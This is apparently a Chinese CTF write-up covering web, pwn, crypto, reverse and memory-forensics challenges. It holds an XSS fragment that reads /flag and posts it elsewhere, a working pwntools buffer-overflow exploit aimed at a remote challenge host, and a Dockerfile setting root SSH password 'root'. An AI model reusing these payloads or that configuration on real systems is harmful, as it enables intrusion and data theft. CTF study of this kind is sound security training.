xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp2.send("content=" + encodeURIComponent(flag1))
}
};
xmlhttp.open('GET', '/flag', true);
xmlhttp.send();</script>

img

更新任务后,发送给boss

img

接着回到页面可以看到flag已经发过来了

img

PWN

PWN2

Image

开始有一个登录的函数,然后只要拿到用户名和密码就可以进入

Image

vuln函数存在两个字节的溢出,还将buf的地址给泄露出来了

Image

还有给了我们后门函数和/bin/sh字符串

Image

Image

完整exp

from pwn import *            
elf = ELF("./short")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# libc = ELF('./libc.so.6')
flag=0
url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'
port=45740
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('\xff')[-4:].ljust(4,'\x00'))
uu64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))

sla('Enter your username: ','admin')
sla('Enter your password: ','admin123')
leave_ret=0x08048555 #: leave ; ret
bss=elf.bss(0x300)
read=0x0804865A
ebp=0x0804884b #: pop ebp ; ret
ru('You will input this: ')
stack=int(rc(10),16)
lg('stack')
pay=p32(0x080484A0)+p32(0x0804A038)*2
pay=pay.ljust(0x50,'\x00')+p32(stack)+p32(0x080485FA)
# gdb.attach(p,'b *0x08048674\nc')
# pause()
sa('your msg:\n',pay)
# pay='sh\x00\x00'*20+p32(0x080485FA)+p32(read)
# sd(pay)
# pay=
it()

Image

CRYPT

CRYPTO01

Image

这题目参考领航杯(https://www.cnblogs.com/mumuhhh/p/17789591.html

然后我们直接sage解密,我们只用替换我们直接的数据就可以


import time
time.clock = time.time

debug = True

strict = False

helpful_only = True
dimension_min = 7 # 如果晶格达到该尺寸,则停止移除
# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1
# print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
#print (a)

# 尝试删除无用的向量
# 从当前 = n-1(最后一个向量)开始
def remove_unhelpful(BB, monomials, bound, current):
# 我们从当前 = n-1(最后一个向量)开始
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB

# 开始从后面检查
for ii in range(current, -1, -1):
# 如果它没有用
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# 让我们检查它是否影响其他向量
for jj in range(ii + 1, BB.dimensions()[0]):
# 如果另一个向量受到影响:
# 我们增加计数
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj

# 等级:0
# 如果没有其他载体最终受到影响
# 我们删除它
if affected_vectors == 0:
#print ("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB

# 等级:1
#如果只有一个受到影响,我们会检查
# 如果它正在影响别的向量
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# 如果它影响哪怕一个向量
# 我们放弃这个
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# 如果没有其他向量受到影响,则将其删除,并且
# 这个有用的向量不够有用
#与我们无用的相比
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
#print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB

"""
Returns:
* 0,0 if it fails
* -1,-1 如果 "strict=true",并且行列式不受约束
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May

在以下情况下找到解决方案:
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt(2)/2 ~ 0.292
"""

# substitution (Herrman and May)
PR.<u, x, y> = PolynomialRing(ZZ) #多项式环
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()

UU = XX*YY + 1

# x-移位
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()

# 单项式 x 移位列表
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials(): #对于多项式中的单项式。单项式():
if monomial not in monomials: # 如果单项不在单项中
monomials.append(monomial)
monomials.sort()

# y-移位
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution

# 单项式 y 移位列表
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)

# 构造格 B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

#约化格的原型
if helpful_only:
# #自动删除
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
# 重置维度
nn = BB.dimensions()[0]
if nn == 0:
print ("failure")
return 0,0

# 检查向量是否有帮助
if debug:
helpful_vectors(BB, modulus^mm)

# 检查行列式是否正确界定
det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print ("We do not have det < bound. Solutions might not be found.")
print ("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print ("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

# display the lattice basis
if debug:
matrix_overview(BB, modulus^mm)

# LLL
if debug:
print ("optimizing basis of the lattice via LLL, this can take a long time")

#BB = BB.BKZ(block_size=25)
BB = BB.LLL()

if debug:
print ("LLL is done!")

# 替换向量 i 和 j ->多项式 1 和 2
if debug:
print ("在格中寻找线性无关向量")
found_polynomials = False

for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):

# 对于i and j, 构造两个多项式

PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)

# 结果
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)


if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print ("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break

if not found_polynomials:
print ("no independant vectors could be found. This should very rarely happen...")
return 0, 0

rr = rr(q, q)

# solutions
soly = rr.roots()

if len(soly) == 0:
print ("Your prediction (delta) is too small")
return 0, 0

soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly

def example():
############################################
# 随机生成数据
##########################################
#start_time =time.perf_counter
start =time.clock()
size=512
length_N = 2*size;
ss=0
s=70;
M=1 # the number of experiments
delta = 299/1024
# p = random_prime(2^512,2^511)
for i in range(M):
# p = random_prime(2^size,None,2^(size-1))
# q = random_prime(2^size,None,2^(size-1))
# if(p<q):
# temp=p
# p=q
# q=temp
N = 104769059324906604819374246969389472089736482039584780304698351288134425847574721209477631552050746222528061242850563906415558000954816414452571907898376586538455570846715727736834959625908944488834642926192746728574287181536549647851644625185864257557629579686099455733892320222578364826099212655146530976379
e = 12337109880409970018293646110440488264982341274846829641219533345965373708872641944832903882339212178067485766669515688243675673212167726028183775964215646348775048640061665951311218967384639999950950042290221189659835294938061099700246737365693200129282703765155456889082133763568539014092220899267025682857
c = 31744736423783628269884009616541129531740686983212218114995065554639252322714403985771782435353721009653250709135160293375136413735234647281736871541268953447552855923299477737849706638177219571453513142214997506075291749228813720600113175989090030091204440975462838480365583907951185017109681679559591532826
hint1 = 864467081468962738290 # p高位
hint2 = 939654974954806345061 # q高位
# print ("p真实高",s,"比特:", int(p/2^(512-s)))
# print ("q真实高",s,"比特:", int(q/2^(512-s)))

# N = p*q;


# 解密指数d的指数( 最大0.292)



m = 7 # 格大小(越大越好/越慢)
t = round(((1-2*delta) * m)) # 来自 Herrmann 和 May 的优化
X = floor(N^delta) #
Y = floor(N^(1/2)/2^s) # 如果 p、 q 大小相同,则正确
for l in range(int(hint1),int(hint1)+1):
print('\n\n\n l=',l)
pM=l;
p0=pM*2^(size-s)+2^(size-s)-1;
q0=N/p0;
qM=int(q0/2^(size-s))
A = N + 1-pM*2^(size-s)-qM*2^(size-s);
#A = N+1
P.<x,y> = PolynomialRing(ZZ)
pol = 1 + x * (A + y) #构建的方程

# Checking bounds
#if debug:
#print ("=== 核对数据 ===")
#print ("* delta:", delta)
#print ("* delta < 0.292", delta < 0.292)
#print ("* size of e:", ceil(log(e)/log(2))) # e的bit数
# print ("* size of N:", len(bin(N))) # N的bit数
#print ("* size of N:", ceil(log(N)/log(2))) # N的bit数
#print ("* m:", m, ", t:", t)

# boneh_durfee
if debug:
##print ("=== running algorithm ===")
start_time = time.time()


solx, soly = boneh_durfee(pol, e, m, t, X, Y)


if solx > 0:
#print ("=== solution found ===")
if False:
print ("x:", solx)
print ("y:", soly)

d_sol = int(pol(solx, soly) / e)
ss=ss+1

print ("=== solution found ===")
print ("p的高比特为:",l)
print ("q的高比特为:",qM)
print ("d=",d_sol)

if debug:
print("=== %s seconds ===" % (time.time() - start_time))
#break
print("ss=",ss)
#end=time.process_time
end=time.clock()
print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
example()

Image

然后我们就可以拿到d,之后进行解密就可以了

Image

Image

CRYPTO02

Image

我们直接用ai去解析我们的脚本,然后直接生成脚本得到了一段维吉尼亚加密的字符串


import gmpy2
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
import binascii
import gmpy2
import random
import binascii
from hashlib import sha256
from sympy import nextprime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r = 80932673752923845218731053671144903633094494351596082125742241568755353762809
s1 = 11239004842544045364097722042148768449026688243093666008376082303522447245154
s2 = 97301123368608673469588981075767011435222146576812290449372049839046298462487
z1 = 84483328065344511722319723339101492661376118616972408250436525496870397932079
z2 = 114907157406602520059145833917511615616817014350278499032611638874752053304591

# Calculate dA
s1_minus_s2 = (s1 - s2) % n
z1_minus_z2 = (z1 - z2) % n
r_inv = gmpy2.invert(r, n)
dA = ((s2 * z1 - s1 * z2) * gmpy2.invert(r * (s1 - s2), n)) % n

# Calculate key
key = sha256(long_to_bytes(dA)).digest()
encrypted = 'd8851c55edec1114a6d7a4d6d5efbba4611a39216ec146d2e675194dd0d5f768bee1b09799a133ffda1d283c4f6db475834cbe52c38c88736c94795c137490be'
encrypted_bytes = binascii.unhexlify(encrypted)
iv = encrypted_bytes[:16]
ciphertext = encrypted_bytes[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
def victory_decrypt(ciphertext, key):
key = key.upper()
key_length = len(key)
plaintext = ''

for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_key = "WANGDINGCUP"
print(decrypted)

加密步骤如下:

第⼀层维吉尼亚加密,输入flag,密钥:WANGDINGCUP,过程: 对每个字母按照密钥进⾏ 移位加密,输出: 维吉尼亚密文

第⼆层:AES-CBC加密,输入:维吉尼亚密文

密钥: SHA256(ECDSA私钥dA),模式: CBC模式(带IV) ,过程: 对维吉尼亚密文进⾏填充和AES加密,输出: IV + AES密文,ECDSA签名(⽤于⽣ 成AES密钥) ,⽣成私钥dA,使⽤相同的k值对两个消息进⾏签名,输出签名参数: r1, s1, r2, s2, z1,z2,最终输出: AES加密后的⼗六进制字符串,ECDSA签名参数

Image

然后我们再用ai去根据我们的维吉尼亚加密去写一个解密算法

def victory_decrypt(ciphertext, key):            
key = key.upper()
key_length = len(key)
plaintext = ''

for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_key = "WANGDINGCUP"
victory_encrypted_flag = "SDSRDO{27Z8ZEPLGJ040UQX2Q0GLOG70PZ0484L}"
flag = victory_decrypt(victory_encrypted_flag, victory_key)
print(flag)

Image

最后我们再将所有大写的字母转化为小写就是flag

Image

或者脚本:

import binascii
from hashlib import sha256
fromCrypto.Cipherimport AES
fromCrypto.Util.number import long_to_bytes
fromCrypto.Util.Paddingimport unpad
import gmpy2

n =0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r1 =86806104739558095745988469033305523200538774705708894815836887970976487278764
r2 =86806104739558095745988469033305523200538774705708894815836887970976487278764
s1 =93400851884262731807098055393482657423555590196362184363643455285862566867372
s2 =58741027521216057788923508334695668250013849866589902683641825341545919891746
z1 =47591695289461307212638536234394543297527537576682980326526736956079807805586
z2 =97911075901954715147720917205165523174582665086645698292621371632896283314804
k =(z1 - z2)* gmpy2.invert(s1 - s2, n)% n
dA =(s1 * k - z1)* gmpy2.invert(r1, n)% n

encrypted_flag_hex =u'86cd24e2914c0c4d9b87bea34005a98bd8587d14cae71909b917679d3328304e7915e6ba4cad1096faa4a85bc52f8056d3f21ef09516be8a5160f1b338a6b936'
encrypted_flag_bytes = binascii.unhexlify(encrypted_flag_hex)
iv = encrypted_flag_bytes[:AES.block_size]
encrypted_flag = encrypted_flag_bytes[AES.block_size:]

key = sha256(long_to_bytes(dA)).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)

victory_encrypted_flag = unpad(cipher.decrypt(encrypted_flag), AES.block_size).decode('utf-8')

defvictory_decrypt(ciphertext, key):
key = key. upper()
key_length =len(key)
ciphertext = ciphertext. upper()
plaintext =''

for i, char inenumerate(ciphertext):
if char.isalpha():
shift =ord(key[i % key_length])-ord('A')
decrypted_char =chr((ord(char)-ord('A')- shift +26)%26+ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_key ="WANGDINGCUP"
flag = victory_decrypt(victory_encrypted_flag, victory_key)

print(flag)

flag:wdflag{27f8decfdb040abb2d0ddba70ad0484d}

REVERSE

REVERSE01

是⼀个apk文件⽤jadx打开

Image

找到⼀个这个但没发现什么有⽤的信息 ,想着这⼀块提取出来看看 ,先⽤APKIDE打开看看

Image

会发现主要在这⼀块 ,⽤ida打开这⾥

Image

在这⾥发现⼏个so文件 ,⽽且在其中⼀个发现了类似于SM4算法与标准的有⼀点不⼀样,解密的话 找到密文与key

Image

Image

密文

Image

Image

之后直接解密即可 ,注意key的后半部分是反过来的

Image

REVERSE02

Image

用ida打开文件,查看main主函数,发现flag位40位,且开头是wdflag{,结尾},中间是四重加密,每重加密8位flag部分

Image

第一关,知道v2的8位16进制数,求s1,把s2的值除2转成字符串,得到第一段flag: bf00e556

Image

Image

第二关,知道v22和v11的值,v22和v11求得v12得到第二段flag:0f45aac9

Image

Image

Image

第三关,v21进行了base64加密,要求v17,对v21进行base64解密,这里换了码表,得到第三段flag:c26f0465

Image

第四关,aes加密,这里告诉了key,就是v9,其他都不用看,要对密文v4进行解密,得到第四段flag:b985cb15Image

Image

wdflag{bf00e5560f45aac9c26f0465b985cb15}

MISC

签到

知识竞赛,答对8题即可

Image

flag:

flag{a236b34b-8040-4ea5-9e1c-97169aa3f43a}

MISC01

Image

首先我们发现是一个Diameter协议,上网搜索发现再AVP部分包含了用户的信息

Image

我们过滤Diameter协议(https://www.cnblogs.com/stevensfollower/p/5556443.html

也是简单看了几篇文章,对diameter也有了个简单的了解,再结合题目描述:某单位网络遭到非法的攻击,安全人员对流量调查取证之后保存了关键证据,发现人员的定位信息存在泄露,哎!捕捉关键词"定位信息"!那这里提示也是很明显了,就是让我们在流量包中找到可疑的定位信息呗!那我们这里直接过滤出了diameter协议来进行分析,发现也没多少条记录

Image

发现存在几条流量,我们一个一个分析,在这天流量中发现了location-information这个单词,就是位置信息的意思

Image

我们依次跟进发现了这个字段,我们直接ai解释一下就是我们要找的位置信息了

Image

Image

802f208f26ae77是一个ECGI值,它通过唯一编码的形式实现对特定小区的全球定位与标识。

然后我们进行行32位md5哈希运算后即可得到flag

Image

wdflag{d72937999d564f8d86f2f583569a47d3}

Misc02

image-20241104163934148

题目附件给了一个未知后缀的flag文件,strings 查看一下发现是Ubuntu22.04的内存镜像

image-20241104163951545

这里我先尝试了制作vol3的symbols,但是做完后发现也扫不出东西

如何制作vol3的符号文件可以参考我的这篇博客以及这个项目

我这里还是写了一个Dockerfile来制作符号文件

把 linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb 和 dwarf2json-linux-amd64 放 src 目录中即可

ddeb的下载链接:http://launchpadlibrarian.net/733303944/linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb

FROM ubuntu:22.04

# 将环境设置为非交互环境
ENV DEBIAN_FRONTEND=noninteractive

COPY ./src/ /src/

RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& apt update --no-install-recommends\
&& apt install -y openssh-server gcc-10 dwarfdump build-essential unzip kmod linux-base linux-image-6.5.0-41-generic\
&& mkdir /app \
&& sed -i 's/\#PermitRootLogin prohibit-password/PermitRootLogin yes/g' /etc/ssh/sshd_config \
&& sed -i 's/\#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config \
&& echo 'root:root' | chpasswd \
&& systemctl enable ssh \
&& service ssh start

WORKDIR /src

# 这里的文件名需要根据系统版本进行修改
COPY ./src/linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb

RUN dpkg -i linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb \
&& chmod +x dwarf2json-linux-amd64 \
# 下面这里的文件名需要根据系统版本进行修改
&& ./dwarf2json-linux-amd64 linux --elf /usr/lib/debug/boot/vmlinux-6.5.0-41-generic > linux-image-6.5.0-41-generic.json


CMD ["/bin/bash"]

符号文件在Docker中制作好后直接SSH连上容器下载到本地

然后放到 volatility3/volatility3/framework/symbols/linux/ 目录下即可

docker build --tag symbols . docker run -p 2022:22 -it symbols /bin/sh service ssh start

image-20241104164100015

做完符号文件后发现也扫不出东西,因此这道题我这里就直接打算用010手动提取了

首先,我们先用strings看看用户桌面上有什么东西,当然这里也可以直接在010中搜字符串

strings flag | grep Desktop

image-20241104164128816

我们确定了用户名以及桌面的路径,便于我们缩小范围,过滤掉无效的干扰数据

strings flag | grep /home/ccc/Desktop/

image-20241104164159296

可以看到扫出来了很多非常关键的信息,桌面上有很多张PNG图片,然后还有同名的TXT文件

甚至还有内存镜像的vol3符号文件以及制作符号文件的工具(所以我猜测出题人是故意让我们没办法用vol3进行取证)

然后我们到010中搜索那几张图片的文件名

image-20241104164217435

发现用了base64 xxx.png > xxx.txt这个命令,把图片数据以base64编码的格式保存到同名txt文件中

猜测另外几个文件也是同理,因此我们根据PNG的文件头base64编码后的值:iVBORw0KGgo

在010中可以定位到12个位置

image-20241104164234616

依次查看,发现里面有好多个位置表示的都是同一张图片

手动提取出Hex数据,注意这里建议提取Hex数据,直接提取右边的字符串可能会有问题(可能有不可打印字符)

69 56 42 4F 52 77 30 4B 47 67 6F 41 41 41 41 4E 53 55 68 45 55 67 41 41 41 51 41 41 41 41 45 41 43 41 49 41 41 41 44 54 45 44 38 78 41 41 41 43 76 55 6C 45 51 56 52 34 6E 4F 33 54 4D 51 45 41 49 41 7A 41 4D 4D 43 2F 35 79 46 6A 52 78 4D 46 66 58 70 6E 35 6B 44 56 32 77 36 41 54 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4E 6F 48 71 2B 67 45 2F 51 50 4E 4D 47 49 41 41 41 41 41 53 55 56 4F 52 4B 35 43 59 49 49 3D

iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAIAAADTED8xAAACvUlEQVR4nO3TMQEAIAzAMMC/5yFjRxMFfXpn5kDV2w6ATQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQNoHq+gE/QPNMGIAAAAASUVORK5CYII=

base64解码后可以得到下面这张空白图片,数据很短,也没什么用

然后我们在010中继续往下看,可以把与上面这个图片有重合部分的base64的数据都删掉方便查看

然后在下图这个位置发现了另一张图片,我尝试给它提取出来

image-20241104164326990

69 56 42 4F 52 77 30 4B 47 67 6F 41 41 41 41 4E 53 55 68 45 55 67 41 41 41 51 41 41 41 41 45 41 43 41 59 41 41 41 42 63 63 71 68 6D 41 41 41 42 47 32 6C 55 57 48 52 59 54 55 77 36 59 32 39 74 4C 6D 46 6B 62 32 4A 6C 4C 6E 68 74 63 41 41 41 41 41 41 41 50 44 39 34 63 47 46 6A 61 32 56 30 49 47 4A 6C 5A 32 6C 75 50 53 4C 76 75 37 38 69 49 47 6C 6B 50 53 4A 58 4E 55 30 77 54 58 42 44 5A 57 68 70 53 48 70 79 5A 56 4E 36 54 6C 52 6A 65 6D 74 6A 4F 57 51 69 50 7A 34 4B 50 48 67 36 65 47 31 77 62 57 56 30 59 53 42 34 62 57 78 75 63 7A 70 34 50 53 4A 68 5A 47 39 69 5A 54 70 75 63 7A 70 74 5A 58 52 68 4C 79 49 67 65 44 70 34 62 58 42 30 61 7A 30 69 57 45 31 51 49 45 4E 76 63 6D 55 67 4E 69 34 77 4C 6A 41 69 50 67 6F 67 50 48 4A 6B 5A 6A 70 53 52 45 59 67 65 47 31 73 62 6E 4D 36 63 6D 52 6D 50 53 4A 6F 64 48 52 77 4F 69 38 76 64 33 64 33 4C 6E 63 7A 4C 6D 39 79 5A 79 38 78 4F 54 6B 35 4C 7A 41 79 4C 7A 49 79 4C 58 4A 6B 5A 69 31 7A 65 57 35 30 59 58 67 74 62 6E 4D 6A 49 6A 34 4B 49 43 41 38 63 6D 52 6D 4F 6B 52 6C 63 32 4E 79 61 58 42 30 61 57 39 75 49 48 4A 6B 5A 6A 70 68 59 6D 39 31 64 44 30 69 49 69 38 2B 43 69 41 38 4C 33 4A 6B 5A 6A 70 53 52 45 59 2B 43 6A 77 76 65 44 70 34 62 58 42 74 5A 58 52 68 50 67 6F 38 50 33 68 77 59 57 4E 72 5A 58 51 67 5A 57 35 6B 50 53 4A 79 49 6A 38 2B 6C 31 76 70 43 67 41 41 49 37 4A 4A 52 45 46 55 65 4A 7A 74 58 55 32 53 56 54 65 79 31 72 56 66 6D 48 67 52 4A 70 36 66 43 63 38 38 4B 67 2F 65 46 75 77 6C 65 41 31 73 6A 2B 6F 